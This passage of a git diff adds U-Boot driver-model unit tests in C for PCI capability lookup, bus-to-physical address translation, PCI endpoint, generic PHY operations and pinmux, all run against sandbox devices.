+ ut_asserteq(0, cap);
+
+ /* look up PCI_CAP_ID_MSIX starting from PCI_CAP_ID_PM_OFFSET */
+ cap = dm_pci_find_next_capability(swap, PCI_CAP_ID_PM_OFFSET,
+ PCI_CAP_ID_MSIX);
+ ut_asserteq(PCI_CAP_ID_MSIX_OFFSET, cap);
+
+ /* look up PCI_CAP_ID_VNDR starting from PCI_CAP_ID_EXP_OFFSET */
+ cap = dm_pci_find_next_capability(swap, PCI_CAP_ID_EXP_OFFSET,
+ PCI_CAP_ID_VNDR);
+ ut_asserteq(0, cap);
+
+ ut_assertok(uclass_get_device_by_seq(UCLASS_PCI, 1, &bus));
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(1, 0x08, 0), &swap));
+
+ /* look up PCI_EXT_CAP_ID_DSN */
+ cap = dm_pci_find_ext_capability(swap, PCI_EXT_CAP_ID_DSN);
+ ut_asserteq(PCI_EXT_CAP_ID_DSN_OFFSET, cap);
+
+ /* look up PCI_EXT_CAP_ID_SRIOV */
+ cap = dm_pci_find_ext_capability(swap, PCI_EXT_CAP_ID_SRIOV);
+ ut_asserteq(0, cap);
+
+ /* look up PCI_EXT_CAP_ID_DSN starting from PCI_EXT_CAP_ID_ERR_OFFSET */
+ cap = dm_pci_find_next_ext_capability(swap, PCI_EXT_CAP_ID_ERR_OFFSET,
+ PCI_EXT_CAP_ID_DSN);
+ ut_asserteq(PCI_EXT_CAP_ID_DSN_OFFSET, cap);
+
+ /* look up PCI_EXT_CAP_ID_RCRB starting from PCI_EXT_CAP_ID_VC_OFFSET */
+ cap = dm_pci_find_next_ext_capability(swap, PCI_EXT_CAP_ID_VC_OFFSET,
+ PCI_EXT_CAP_ID_RCRB);
+ ut_asserteq(0, cap);
+
+ return 0;
+}
+DM_TEST(dm_test_pci_cap, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test looking up BARs in EA capability structure */
+static int dm_test_pci_ea(struct unit_test_state *uts)
+{
+ struct udevice *bus, *swap;
+ void *bar;
+ int cap;
+
+ /*
+ * use emulated device mapping function, we're not using real physical
+ * addresses in this test
+ */
+ sandbox_set_enable_pci_map(true);
+
+ ut_assertok(uclass_get_device_by_seq(UCLASS_PCI, 0, &bus));
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(0, 0x01, 0), &swap));
+
+ /* look up PCI_CAP_ID_EA */
+ cap = dm_pci_find_capability(swap, PCI_CAP_ID_EA);
+ ut_asserteq(PCI_CAP_ID_EA_OFFSET, cap);
+
+ /* test swap case in BAR 1 */
+ bar = dm_pci_map_bar(swap, PCI_BASE_ADDRESS_0, 0, 0, PCI_REGION_TYPE, 0);
+ ut_assertnonnull(bar);
+ *(int *)bar = 2; /* swap upper/lower */
+
+ bar = dm_pci_map_bar(swap, PCI_BASE_ADDRESS_1, 0, 0, PCI_REGION_TYPE, 0);
+ ut_assertnonnull(bar);
+ strcpy(bar, "ea TEST");
+ unmap_sysmem(bar);
+ bar = dm_pci_map_bar(swap, PCI_BASE_ADDRESS_1, 0, 0, PCI_REGION_TYPE, 0);
+ ut_assertnonnull(bar);
+ ut_asserteq_str("EA test", bar);
+
+ /* test magic values in BARs2, 4; BAR 3 is n/a */
+ bar = dm_pci_map_bar(swap, PCI_BASE_ADDRESS_2, 0, 0, PCI_REGION_TYPE, 0);
+ ut_assertnonnull(bar);
+ ut_asserteq(PCI_EA_BAR2_MAGIC, *(u32 *)bar);
+
+ bar = dm_pci_map_bar(swap, PCI_BASE_ADDRESS_3, 0, 0, PCI_REGION_TYPE, 0);
+ ut_assertnull(bar);
+
+ bar = dm_pci_map_bar(swap, PCI_BASE_ADDRESS_4, 0, 0, PCI_REGION_TYPE, 0);
+ ut_assertnonnull(bar);
+ ut_asserteq(PCI_EA_BAR4_MAGIC, *(u32 *)bar);
+
+ return 0;
+}
+DM_TEST(dm_test_pci_ea, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test the dev_read_addr_pci() function */
+static int dm_test_pci_addr_flat(struct unit_test_state *uts)
+{
+ struct udevice *swap1f, *swap1;
+ ulong io_addr, mem_addr;
+ fdt_addr_t size;
+
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(0, 0x1f, 0), &swap1f));
+ io_addr = dm_pci_read_bar32(swap1f, 0);
+ ut_asserteq(io_addr, dev_read_addr_pci(swap1f, &size));
+ ut_asserteq(0, size);
+
+ /*
+ * This device has both I/O and MEM spaces but the MEM space appears
+ * first
+ */
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(0, 0x1, 0), &swap1));
+ mem_addr = dm_pci_read_bar32(swap1, 1);
+ ut_asserteq(mem_addr, dev_read_addr_pci(swap1, &size));
+ ut_asserteq(0, size);
+
+ return 0;
+}
+DM_TEST(dm_test_pci_addr_flat, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT |
+ UT_TESTF_FLAT_TREE);
+
+/*
+ * Test the dev_read_addr_pci() function with livetree. That function is
+ * not currently fully implemented, in that it fails to return the BAR address.
+ * Once that is implemented this test can be removed and dm_test_pci_addr_flat()
+ * can be used for both flattree and livetree by removing the UT_TESTF_FLAT_TREE
+ * flag above.
+ */
+static int dm_test_pci_addr_live(struct unit_test_state *uts)
+{
+ struct udevice *swap1f, *swap1;
+ fdt_size_t size;
+
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(0, 0x1f, 0), &swap1f));
+ ut_asserteq_64(FDT_ADDR_T_NONE, dev_read_addr_pci(swap1f, &size));
+ ut_asserteq(0, size);
+
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(0, 0x1, 0), &swap1));
+ ut_asserteq_64(FDT_ADDR_T_NONE, dev_read_addr_pci(swap1, &size));
+ ut_asserteq(0, size);
+
+ return 0;
+}
+DM_TEST(dm_test_pci_addr_live, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT |
+ UT_TESTF_LIVE_TREE);
+
+/* Test device_is_on_pci_bus() */
+static int dm_test_pci_on_bus(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(0, 0x1f, 0), &dev));
+ ut_asserteq(true, device_is_on_pci_bus(dev));
+ ut_asserteq(false, device_is_on_pci_bus(dev_get_parent(dev)));
+ ut_asserteq(true, device_is_on_pci_bus(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_pci_on_bus, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/*
+ * Test support for multiple memory regions enabled via
+ * CONFIG_PCI_REGION_MULTI_ENTRY. When this feature is not enabled,
+ * only the last region of one type is stored. In this test-case,
+ * we have 2 memory regions, the first at 0x3000.0000 and the 2nd
+ * at 0x3100.0000. A correct test results now in BAR1 located at
+ * 0x3000.0000.
+ */
+static int dm_test_pci_region_multi(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ ulong mem_addr;
+
+ /* Test memory BAR1 on bus#1 */
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(1, 0x08, 0), &dev));
+ mem_addr = dm_pci_read_bar32(dev, 1);
+ ut_asserteq(mem_addr, 0x30000000);
+
+ return 0;
+}
+DM_TEST(dm_test_pci_region_multi, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/*
+ * Test the translation of PCI bus addresses to physical addresses using the
+ * ranges from bus#1.
+ */
+static int dm_test_pci_bus_to_phys(struct unit_test_state *uts)
+{
+ unsigned long mask = PCI_REGION_TYPE;
+ unsigned long flags = PCI_REGION_MEM;
+ struct udevice *dev;
+ phys_addr_t phys_addr;
+
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(1, 0x08, 0), &dev));
+
+ /* Before any of the ranges. */
+ phys_addr = dm_pci_bus_to_phys(dev, 0x20000000, 0x400, mask, flags);
+ ut_asserteq(0, phys_addr);
+
+ /* Identity range: whole, start, mid, end */
+ phys_addr = dm_pci_bus_to_phys(dev, 0x2ffff000, 0x2000, mask, flags);
+ ut_asserteq(0, phys_addr);
+ phys_addr = dm_pci_bus_to_phys(dev, 0x30000000, 0x2000, mask, flags);
+ ut_asserteq(0x30000000, phys_addr);
+ phys_addr = dm_pci_bus_to_phys(dev, 0x30000000, 0x1000, mask, flags);
+ ut_asserteq(0x30000000, phys_addr);
+ phys_addr = dm_pci_bus_to_phys(dev, 0x30000abc, 0x12, mask, flags);
+ ut_asserteq(0x30000abc, phys_addr);
+ phys_addr = dm_pci_bus_to_phys(dev, 0x30000800, 0x1800, mask, flags);
+ ut_asserteq(0x30000800, phys_addr);
+ phys_addr = dm_pci_bus_to_phys(dev, 0x30008000, 0x1801, mask, flags);
+ ut_asserteq(0, phys_addr);
+
+ /* Translated range: whole, start, mid, end */
+ phys_addr = dm_pci_bus_to_phys(dev, 0x30fff000, 0x2000, mask, flags);
+ ut_asserteq(0, phys_addr);
+ phys_addr = dm_pci_bus_to_phys(dev, 0x31000000, 0x2000, mask, flags);
+ ut_asserteq(0x3e000000, phys_addr);
+ phys_addr = dm_pci_bus_to_phys(dev, 0x31000000, 0x1000, mask, flags);
+ ut_asserteq(0x3e000000, phys_addr);
+ phys_addr = dm_pci_bus_to_phys(dev, 0x31000abc, 0x12, mask, flags);
+ ut_asserteq(0x3e000abc, phys_addr);
+ phys_addr = dm_pci_bus_to_phys(dev, 0x31000800, 0x1800, mask, flags);
+ ut_asserteq(0x3e000800, phys_addr);
+ phys_addr = dm_pci_bus_to_phys(dev, 0x31008000, 0x1801, mask, flags);
+ ut_asserteq(0, phys_addr);
+
+ /* Beyond all of the ranges. */
+ phys_addr = dm_pci_bus_to_phys(dev, 0x32000000, 0x400, mask, flags);
+ ut_asserteq(0, phys_addr);
+
+ return 0;
+}
+DM_TEST(dm_test_pci_bus_to_phys, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/*
+ * Test the translation of physical addresses to PCI bus addresses using the
+ * ranges from bus#1.
+ */
+static int dm_test_pci_phys_to_bus(struct unit_test_state *uts)
+{
+ unsigned long mask = PCI_REGION_TYPE;
+ unsigned long flags = PCI_REGION_MEM;
+ struct udevice *dev;
+ pci_addr_t pci_addr;
+
+ ut_assertok(dm_pci_bus_find_bdf(PCI_BDF(1, 0x08, 0), &dev));
+
+ /* Before any of the ranges. */
+ pci_addr = dm_pci_phys_to_bus(dev, 0x20000000, 0x400, mask, flags);
+ ut_asserteq(0, pci_addr);
+
+ /* Identity range: partial overlap, whole, start, mid, end */
+ pci_addr = dm_pci_phys_to_bus(dev, 0x2ffff000, 0x2000, mask, flags);
+ ut_asserteq(0, pci_addr);
+ pci_addr = dm_pci_phys_to_bus(dev, 0x30000000, 0x2000, mask, flags);
+ ut_asserteq(0x30000000, pci_addr);
+ pci_addr = dm_pci_phys_to_bus(dev, 0x30000000, 0x1000, mask, flags);
+ ut_asserteq(0x30000000, pci_addr);
+ pci_addr = dm_pci_phys_to_bus(dev, 0x30000abc, 0x12, mask, flags);
+ ut_asserteq(0x30000abc, pci_addr);
+ pci_addr = dm_pci_phys_to_bus(dev, 0x30000800, 0x1800, mask, flags);
+ ut_asserteq(0x30000800, pci_addr);
+ pci_addr = dm_pci_phys_to_bus(dev, 0x30008000, 0x1801, mask, flags);
+ ut_asserteq(0, pci_addr);
+
+ /* Translated range: partial overlap, whole, start, mid, end */
+ pci_addr = dm_pci_phys_to_bus(dev, 0x3dfff000, 0x2000, mask, flags);
+ ut_asserteq(0, pci_addr);
+ pci_addr = dm_pci_phys_to_bus(dev, 0x3e000000, 0x2000, mask, flags);
+ ut_asserteq(0x31000000, pci_addr);
+ pci_addr = dm_pci_phys_to_bus(dev, 0x3e000000, 0x1000, mask, flags);
+ ut_asserteq(0x31000000, pci_addr);
+ pci_addr = dm_pci_phys_to_bus(dev, 0x3e000abc, 0x12, mask, flags);
+ ut_asserteq(0x31000abc, pci_addr);
+ pci_addr = dm_pci_phys_to_bus(dev, 0x3e000800, 0x1800, mask, flags);
+ ut_asserteq(0x31000800, pci_addr);
+ pci_addr = dm_pci_phys_to_bus(dev, 0x3e008000, 0x1801, mask, flags);
+ ut_asserteq(0, pci_addr);
+
+ /* Beyond all of the ranges. */
+ pci_addr = dm_pci_phys_to_bus(dev, 0x3f000000, 0x400, mask, flags);
+ ut_asserteq(0, pci_addr);
+
+ return 0;
+}
+DM_TEST(dm_test_pci_phys_to_bus, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/pci_ep.c b/test/dm/pci_ep.c
new file mode 100644
index 00000000000..e82fc53f84b
--- /dev/null
+++ b/test/dm/pci_ep.c
@@ -0,0 +1,63 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2019 Ramon Fried
+ */
+
+#include <dm.h>
+#include <hexdump.h>
+#include <pci_ep.h>
+#include <asm/io.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Test that sandbox PCI EP works correctly */
+static int dm_test_pci_ep_base(struct unit_test_state *uts)
+{
+ struct udevice *bus;
+ struct pci_bar tmp_bar;
+ struct pci_ep_header tmp_header;
+ int i;
+
+ struct pci_ep_header ep_header = {
+ .vendorid = 0x1234,
+ .deviceid = 0x2020,
+ .revid = 1,
+ .interrupt_pin = PCI_INTERRUPT_INTA,
+ };
+
+ struct pci_bar bar = {
+ .phys_addr = 0x80000000,
+ .size = 0x100000,
+ .barno = BAR_0,
+ .flags = PCI_BASE_ADDRESS_MEM_TYPE_64 |
+ PCI_BASE_ADDRESS_MEM_PREFETCH,
+ };
+
+ ut_assertok(uclass_get_device(UCLASS_PCI_EP, 0, &bus));
+ ut_assertnonnull(bus);
+
+ ut_assertok(pci_ep_write_header(bus, 0, &ep_header));
+ ut_assertok(pci_ep_read_header(bus, 0, &tmp_header));
+ ut_asserteq_mem(&tmp_header, &ep_header, sizeof(ep_header));
+
+ ut_assertok(pci_ep_set_msi(bus, 0, 4));
+ ut_asserteq(pci_ep_get_msi(bus, 0), 4);
+
+ ut_assertok(pci_ep_set_msix(bus, 0, 360));
+ ut_asserteq(pci_ep_get_msix(bus, 0), 360);
+
+ ut_assertok(pci_ep_set_bar(bus, 0, &bar));
+
+ ut_assertok(pci_ep_read_bar(bus, 0, &tmp_bar, BAR_0));
+ ut_asserteq_mem(&tmp_bar, &bar, sizeof(bar));
+
+ for (i = 0; i < 10; i++)
+ ut_assertok(pci_ep_raise_irq(bus, 0, 1, PCI_EP_IRQ_LEGACY));
+
+ ut_asserteq(sandbox_get_pci_ep_irq_count(bus), 10);
+ return 0;
+}
+
+DM_TEST(dm_test_pci_ep_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/phy.c b/test/dm/phy.c
new file mode 100644
index 00000000000..d14117f6f7a
--- /dev/null
+++ b/test/dm/phy.c
@@ -0,0 +1,264 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2017 Texas Instruments Incorporated - https://www.ti.com/
+ * Written by Jean-Jacques Hiblot <jjhiblot@ti.com>
+ */
+
+#include <dm.h>
+#include <generic-phy.h>
+#include <log.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Base test of the phy uclass */
+static int dm_test_phy_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct phy phy1_method1;
+ struct phy phy1_method2;
+ struct phy phy2;
+ struct phy phy3;
+ struct udevice *parent;
+
+ /* Get the device using the phy device*/
+ ut_assertok(uclass_get_device_by_name(UCLASS_SIMPLE_BUS,
+ "gen_phy_user", &parent));
+ /*
+ * Get the same phy port in 2 different ways and compare.
+ */
+ ut_assertok(generic_phy_get_by_name(parent, "phy1", &phy1_method1));
+ ut_assert(generic_phy_valid(&phy1_method1));
+ ut_assertok(generic_phy_get_by_index(parent, 0, &phy1_method2));
+ ut_assert(generic_phy_valid(&phy1_method2));
+ ut_asserteq(phy1_method1.id, phy1_method2.id);
+
+ /*
+ * Get the second phy port. Check that the same phy provider (device)
+ * provides this 2nd phy port, but that the IDs are different
+ */
+ ut_assertok(generic_phy_get_by_name(parent, "phy2", &phy2));
+ ut_asserteq_ptr(phy1_method2.dev, phy2.dev);
+ ut_assert(phy1_method1.id != phy2.id);
+
+ /*
+ * Get the third phy port. Check that the phy provider is different
+ */
+ ut_assertok(generic_phy_get_by_name(parent, "phy3", &phy3));
+ ut_assert(phy2.dev != phy3.dev);
+
+ /* Try to get a non-existing phy */
+ ut_asserteq(-ENODEV, uclass_get_device(UCLASS_PHY, 5, &dev));
+ ut_asserteq(-ENODATA, generic_phy_get_by_name(parent,
+ "phy_not_existing", &phy1_method1));
+ ut_assert(!generic_phy_valid(&phy1_method1));
+ ut_asserteq(-ENOENT, generic_phy_get_by_index(parent, 3,
+ &phy1_method2));
+ ut_assert(!generic_phy_valid(&phy1_method2));
+
+ /* Try to get a phy where of_xlate fail */
+ ut_assertok(uclass_get_device_by_name(UCLASS_SIMPLE_BUS,
+ "gen_phy_user2", &parent));
+ ut_asserteq(-EINVAL, generic_phy_get_by_name(parent, "phy1",
+ &phy1_method1));
+ ut_assert(!generic_phy_valid(&phy1_method1));
+ ut_asserteq(-EINVAL, generic_phy_get_by_index(parent, 0,
+ &phy1_method2));
+ ut_assert(!generic_phy_valid(&phy1_method2));
+
+ return 0;
+}
+DM_TEST(dm_test_phy_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test of the phy uclass using the sandbox phy driver operations */
+static int dm_test_phy_ops(struct unit_test_state *uts)
+{
+ struct phy phy1;
+ struct phy phy2;
+ struct phy phy3;
+ struct udevice *parent;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_SIMPLE_BUS,
+ "gen_phy_user", &parent));
+
+ ut_assertok(generic_phy_get_by_name(parent, "phy1", &phy1));
+ ut_asserteq(0, phy1.id);
+ ut_assertok(generic_phy_get_by_name(parent, "phy2", &phy2));
+ ut_asserteq(1, phy2.id);
+ ut_assertok(generic_phy_get_by_name(parent, "phy3", &phy3));
+ ut_asserteq(0, phy3.id);
+
+ /* test normal operations */
+ ut_assertok(generic_phy_init(&phy1));
+ ut_assertok(generic_phy_power_on(&phy1));
+ ut_assertok(generic_phy_power_off(&phy1));
+
+ /*
+ * Test power_on() failure after exit().
+ * The sandbox phy driver does not allow power-on/off after
+ * exit, but the uclass counts power-on/init calls and skips
+ * calling the driver's ops when e.g. powering off an already
+ * powered-off phy.
+ */
+ ut_assertok(generic_phy_exit(&phy1));
+ ut_assert(generic_phy_power_on(&phy1) != 0);
+ ut_assertok(generic_phy_power_off(&phy1));
+
+ /*
+ * test normal operations again (after re-init)
+ */
+ ut_assertok(generic_phy_init(&phy1));
+ ut_assertok(generic_phy_power_on(&phy1));
+ ut_assertok(generic_phy_power_off(&phy1));
+
+ /*
+ * test calling unimplemented feature.
+ * The call is expected to succeed
+ */
+ ut_assertok(generic_phy_reset(&phy1));
+
+ /*
+ * Test power_off() failure after exit().
+ * For this we need to call exit() while the phy is powered-on,
+ * so that the uclass actually calls the driver's power-off()
+ * and reports the resulting failure.
+ */
+ ut_assertok(generic_phy_power_on(&phy1));
+ ut_assertok(generic_phy_exit(&phy1));
+ ut_assert(generic_phy_power_off(&phy1) != 0);
+ ut_assertok(generic_phy_power_on(&phy1));
+
+ /* PHY2 has a known problem with power off */
+ ut_assertok(generic_phy_init(&phy2));
+ ut_assertok(generic_phy_power_on(&phy2));
+ ut_asserteq(-EIO, generic_phy_power_off(&phy2));
+
+ /* PHY3 has a known problem with power off and power on */
+ ut_assertok(generic_phy_init(&phy3));
+ ut_asserteq(-EIO, generic_phy_power_on(&phy3));
+ ut_assertok(generic_phy_power_off(&phy3));
+
+ return 0;
+}
+DM_TEST(dm_test_phy_ops, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_phy_bulk(struct unit_test_state *uts)
+{
+ struct phy_bulk phys;
+ struct udevice *parent;
+
+ /* test normal operations */
+ ut_assertok(uclass_get_device_by_name(UCLASS_SIMPLE_BUS,
+ "gen_phy_user1", &parent));
+
+ ut_assertok(generic_phy_get_bulk(parent, &phys));
+ ut_asserteq(2, phys.count);
+
+ ut_asserteq(0, generic_phy_init_bulk(&phys));
+ ut_asserteq(0, generic_phy_power_on_bulk(&phys));
+ ut_asserteq(0, generic_phy_power_off_bulk(&phys));
+ ut_asserteq(0, generic_phy_exit_bulk(&phys));
+
+ /* has a known problem phy */
+ ut_assertok(uclass_get_device_by_name(UCLASS_SIMPLE_BUS,
+ "gen_phy_user", &parent));
+
+ ut_assertok(generic_phy_get_bulk(parent, &phys));
+ ut_asserteq(3, phys.count);
+
+ ut_asserteq(0, generic_phy_init_bulk(&phys));
+ ut_asserteq(-EIO, generic_phy_power_on_bulk(&phys));
+ ut_asserteq(-EIO, generic_phy_power_off_bulk(&phys));
+ ut_asserteq(0, generic_phy_exit_bulk(&phys));
+
+ return 0;
+}
+DM_TEST(dm_test_phy_bulk, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_phy_multi_exit(struct unit_test_state *uts)
+{
+ struct phy phy1_method1;
+ struct phy phy1_method2;
+ struct phy phy1_method3;
+ struct udevice *parent;
+
+ /* Get the same phy instance in 3 different ways. */
+ ut_assertok(uclass_get_device_by_name(UCLASS_SIMPLE_BUS,
+ "gen_phy_user", &parent));
+ ut_assertok(generic_phy_get_by_name(parent, "phy1", &phy1_method1));
+ ut_asserteq(0, phy1_method1.id);
+ ut_assertok(generic_phy_get_by_name(parent, "phy1", &phy1_method2));
+ ut_asserteq(0, phy1_method2.id);
+ ut_asserteq_ptr(phy1_method1.dev, phy1_method1.dev);
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_SIMPLE_BUS,
+ "gen_phy_user1", &parent));
+ ut_assertok(generic_phy_get_by_name(parent, "phy1", &phy1_method3));
+ ut_asserteq(0, phy1_method3.id);
+ ut_asserteq_ptr(phy1_method1.dev, phy1_method3.dev);
+
+ /*
+ * Test using the same PHY from different handles.
+ * In non-test code these could be in different drivers.
+ */
+
+ /*
+ * These must only call the driver's ops at the first init()
+ * and power_on().
+ */
+ ut_assertok(generic_phy_init(&phy1_method1));
+ ut_assertok(generic_phy_init(&phy1_method2));
+ ut_assertok(generic_phy_power_on(&phy1_method1));
+ ut_assertok(generic_phy_power_on(&phy1_method2));
+ ut_assertok(generic_phy_init(&phy1_method3));
+ ut_assertok(generic_phy_power_on(&phy1_method3));
+
+ /*
+ * These must not call the driver's ops as other handles still
+ * want the PHY powered-on and initialized.
+ */
+ ut_assertok(generic_phy_power_off(&phy1_method3));
+ ut_assertok(generic_phy_exit(&phy1_method3));
+
+ /*
+ * We would get an error here if the generic_phy_exit() above
+ * actually called the driver's exit(), as the sandbox driver
+ * doesn't allow power-off() after exit().
+ */
+ ut_assertok(generic_phy_power_off(&phy1_method1));
+ ut_assertok(generic_phy_power_off(&phy1_method2));
+ ut_assertok(generic_phy_exit(&phy1_method1));
+ ut_assertok(generic_phy_exit(&phy1_method2));
+
+ return 0;
+}
+DM_TEST(dm_test_phy_multi_exit, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_phy_setup(struct unit_test_state *uts)
+{
+ struct phy phy;
+ struct udevice *parent;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_SIMPLE_BUS,
+ "gen_phy_user", &parent));
+
+ /* normal */
+ ut_assertok(generic_setup_phy(parent, &phy, 0));
+ ut_assertok(generic_shutdown_phy(&phy));
+
+ /* power_off fail with -EIO */
+ ut_assertok(generic_setup_phy(parent, &phy, 1));
+ ut_asserteq(-EIO, generic_shutdown_phy(&phy));
+
+ /* power_on fail with -EIO */
+ ut_asserteq(-EIO, generic_setup_phy(parent, &phy, 2));
+ ut_assertok(generic_shutdown_phy(&phy));
+
+ /* generic_phy_get_by_index fail with -ENOENT */
+ ut_asserteq(-ENOENT, generic_phy_get_by_index(parent, 3, &phy));
+ ut_assertok(generic_setup_phy(parent, &phy, 3));
+ ut_assertok(generic_shutdown_phy(&phy));
+
+ return 0;
+}
+DM_TEST(dm_test_phy_setup, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/phys2bus.c b/test/dm/phys2bus.c
new file mode 100644
index 00000000000..1ee2150482c
--- /dev/null
+++ b/test/dm/phys2bus.c
@@ -0,0 +1,36 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2020 Nicolas Saenz Julienne <nsaenzjulienne@suse.de>
+ */
+
+#include <dm.h>
+#include <mapmem.h>
+#include <phys2bus.h>
+#include <dm/device.h>
+#include <dm/ofnode.h>
+#include <dm/root.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <test/ut.h>
+
+static int dm_test_phys_to_bus(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ ofnode node;
+
+ node = ofnode_path("/mmio-bus@0");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(uclass_get_device_by_ofnode(UCLASS_TEST_BUS, node, &dev));
+ /* In this case it should be transparent, no dma-ranges in parent bus */
+ ut_asserteq_addr((void*)0xfffffULL, (void*)dev_phys_to_bus(dev, 0xfffff));
+ ut_asserteq_addr((void*)0xfffffULL, (void*)(ulong)dev_bus_to_phys(dev, 0xfffff));
+
+ node = ofnode_path("/mmio-bus@0/subnode@0");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(uclass_get_device_by_ofnode(UCLASS_TEST_FDT, node, &dev));
+ ut_asserteq_addr((void*)0x100fffffULL, (void*)dev_phys_to_bus(dev, 0xfffff));
+ ut_asserteq_addr((void*)0xfffffULL, (void*)(ulong)dev_bus_to_phys(dev, 0x100fffff));
+
+ return 0;
+}
+DM_TEST(dm_test_phys_to_bus, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/pinmux.c b/test/dm/pinmux.c
new file mode 100644
index 00000000000..cfbe3ef5d1e
--- /dev/null
+++ b/test/dm/pinmux.c
@@ -0,0 +1,147 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2020 Sean Anderson <seanga2@gmail.com>
+ */
+
+#include <dm.h>
+#include <dm/pinctrl.h>
+#include <dm/test.h>
+#include <test/ut.h>
+
+static char buf[64];
+#define test_muxing(selector, expected) do { \
+ ut_assertok(pinctrl_get_pin_muxing(dev, selector, buf, sizeof(buf))); \
+ ut_asserteq_str(expected, (char *)&buf); \
+} while (0)
+
+#define test_muxing_regaddr(selector, regaddr, expected) do { \
+ char estr[64] = { 0 }; \
+ if (IS_ENABLED(CONFIG_PHYS_64BIT)) \
+ snprintf(estr, sizeof(estr), "0x%016llx %s", (u64)regaddr, expected); \
+ else \
+ snprintf(estr, sizeof(estr), "0x%08x %s", (u32)regaddr, expected); \
+ ut_assertok(pinctrl_get_pin_muxing(dev, selector, buf, sizeof(buf))); \
+ ut_asserteq_str(estr, (char *)&buf); \
+} while (0)
+
+#define test_name(selector, expected) do { \
+ ut_assertok(pinctrl_get_pin_name(dev, selector, buf, sizeof(buf))); \
+ ut_asserteq_str(expected, (char *)&buf); \
+} while (0)
+
+static int dm_test_pinmux(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_PINCTRL, "pinctrl", &dev));
+ test_muxing(0, "UART TX.");
+ test_muxing(1, "UART RX.");
+ test_muxing(2, "I2S SCK.");
+ test_muxing(3, "I2S SD.");
+ test_muxing(4, "I2S WS.");
+ test_muxing(5, "GPIO0 bias-pull-up input-disable.");
+ test_muxing(6, "GPIO1 drive-open-drain.");
+ test_muxing(7, "GPIO2 bias-pull-down input-enable.");
+ test_muxing(8, "GPIO3 bias-disable.");
+
+ ut_assertok(pinctrl_select_state(dev, "alternate"));
+ test_muxing(0, "I2C SCL drive-open-drain.");
+ test_muxing(1, "I2C SDA drive-open-drain.");
+ test_muxing(2, "SPI SCLK.");
+ test_muxing(3, "SPI MOSI.");
+ test_muxing(4, "SPI MISO.");
+ test_muxing(5, "SPI CS0.");
+ test_muxing(6, "SPI CS1.");
+ test_muxing(7, "GPIO2 bias-pull-down input-enable.");
+ test_muxing(8, "GPIO3 bias-disable.");
+
+ ut_assertok(pinctrl_select_state(dev, "0"));
+ test_muxing(0, "I2C SCL drive-open-drain.");
+ test_muxing(1, "I2C SDA drive-open-drain.");
+ test_muxing(2, "I2S SCK.");
+ test_muxing(3, "I2S SD.");
+ test_muxing(4, "I2S WS.");
+ test_muxing(5, "GPIO0 bias-pull-up input-disable.");
+ test_muxing(6, "GPIO1 drive-open-drain.");
+ test_muxing(7, "GPIO2 bias-pull-down input-enable.");
+ test_muxing(8, "GPIO3 bias-disable.");
+
+ return 0;
+}
+
+DM_TEST(dm_test_pinmux, UT_TESTF_SCAN_FDT);
+
+static int dm_test_pinctrl_single(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ int ret;
+
+ ret = uclass_get_device_by_name(UCLASS_PINCTRL,
+ "pinctrl-single-no-width", &dev);
+ ut_asserteq(-EINVAL, ret);
+ ut_assertok(uclass_get_device_by_name(UCLASS_PWM, "pwm", &dev));
+ ut_assertok(uclass_get_device_by_name(UCLASS_SERIAL, "serial", &dev));
+ ut_assertok(uclass_get_device_by_name(UCLASS_SPI, "spi@0", &dev));
+ ut_assertok(uclass_get_device_by_name(UCLASS_PINCTRL,
+ "pinctrl-single-pins", &dev));
+ ut_asserteq(142, pinctrl_get_pins_count(dev));
+ test_name(0, "PIN0");
+ test_name(141, "PIN141");
+ test_name(142, "Error");
